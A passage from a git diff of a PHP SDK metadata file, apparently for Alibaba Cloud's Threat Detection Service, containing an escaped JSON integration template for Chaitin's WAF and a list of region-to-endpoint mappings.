\\"{\\\\\\\\\\\\\\"vendors\\\\\\\\\\\\\\":[{\\\\\\\\\\\\\\"vendorType\\\\\\\\\\\\\\":100,\\\\\\\\\\\\\\"vendor\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"CHAITIN\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"displayName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Chaitin\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"products\\\\\\\\\\\\\\":[{\\\\\\\\\\\\\\"product\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"webFirewall\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"displayName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"WAF\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"backendConfig\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"apiParams\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"SecretKey\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"field\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"apiToken\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"format\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"text\\\\\\\\\\\\\\"},\\\\\\\\\\\\\\"SecretId\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"field\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"endpoint\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"format\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"text\\\\\\\\\\\\\\"},\\\\\\\\\\\\\\"Vendor\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"field\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"vendor\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"format\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"text\\\\\\\\\\\\\\"},\\\\\\\\\\\\\\"CtdrCloudUserId\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"field\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"ctdrCloudUserId\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"format\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"text\\\\\\\\\\\\\\"},\\\\\\\\\\\\\\"ExtendInfo\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"format\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"json\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"fields\\\\\\\\\\\\\\":[\\\\\\\\\\\\\\"product\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"remark\\\\\\\\\\\\\\"]}}},\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"https://docs.waf-ce.chaitin.cn/%E6%9B%B4%E5%A4%9A%E6%8A%80%E6%9C%AF%E6%96%87%E6%A1%A3/OPENAPI\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"fields\\\\\\\\\\\\\\":[{\\\\\\\\\\\\\\"displayName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Endpoint\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"fieldType\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"text\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"prompt\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Enter an endpoint that is in the IP address:Port number format.\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"required\\\\\\\\\\\\\\":true,\\\\\\\\\\\\\\"fieldId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"endpoint\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"displayName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"API Token\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"fieldType\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"password\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"required\\\\\\\\\\\\\\":true,\\\\\\\\\\\\\\"fieldId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"apiToken\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"displayName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"‌Device Name‌ (The cloud_user_id field in the device connection logs will uniquely identify the device)\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"fieldType\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"text\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"required\\\\\\\\\\\\\\":true,\\\\\\\\\\\\\\"fieldId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"ctdrCloudUserId\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"displayName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Remark\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"fieldType\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"text\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"required\\\\\\\\\\\\\\":false,\\\\\\\\\\\\\\"fieldId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"remark\\\\\\\\\\\\\\"}]}]}]}\\"\\n}","type":"json"}]', + 'title' => '查询Agentic SOC支持的云厂商产品接入模板配置', + ], + ], + 'endpoints' => [ + [ + 'regionId' => 'cn-beijing', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'cn-zhangjiakou', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'cn-huhehaote', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'cn-wulanchabu', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'cn-hangzhou', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'cn-shanghai', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'cn-nanjing', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'cn-fuzhou', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'cn-shenzhen', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'cn-heyuan', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'cn-guangzhou', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'cn-chengdu', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'cn-hongkong', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'ap-northeast-1', + 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', + ], + [ + 'regionId' => 'ap-northeast-2', + 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', + ], + [ + 'regionId' => 'ap-southeast-1', + 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', + ], + [ + 'regionId' => 'ap-southeast-2', + 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', + ], + [ + 'regionId' => 'ap-southeast-3', + 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com ', + ], + [ + 'regionId' => 'ap-southeast-5', + 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com ', + ], + [ + 'regionId' => 'ap-southeast-6', + 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', + ], + [ + 'regionId' => 'us-east-1', + 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', + ], + [ + 'regionId' => 'us-west-1', + 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', + ], + [ + 'regionId' => 'eu-west-1', + 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', + ], + [ + 'regionId' => 'eu-central-1', + 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', + ], + [ + 'regionId' => 'me-east-1', + 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', + ], + [ + 'regionId' => 'cn-hangzhou-finance', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'cn-shanghai-finance-1', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'cn-shenzhen-finance-1', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'ap-southeast-7', + 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', + ], + [ + 'regionId' => 'cn-beijing-finance-1', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + [ + 'regionId' => 'cn-heyuan-acdr-1', + 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', + ], + ], +]; -- cgit v1.2.3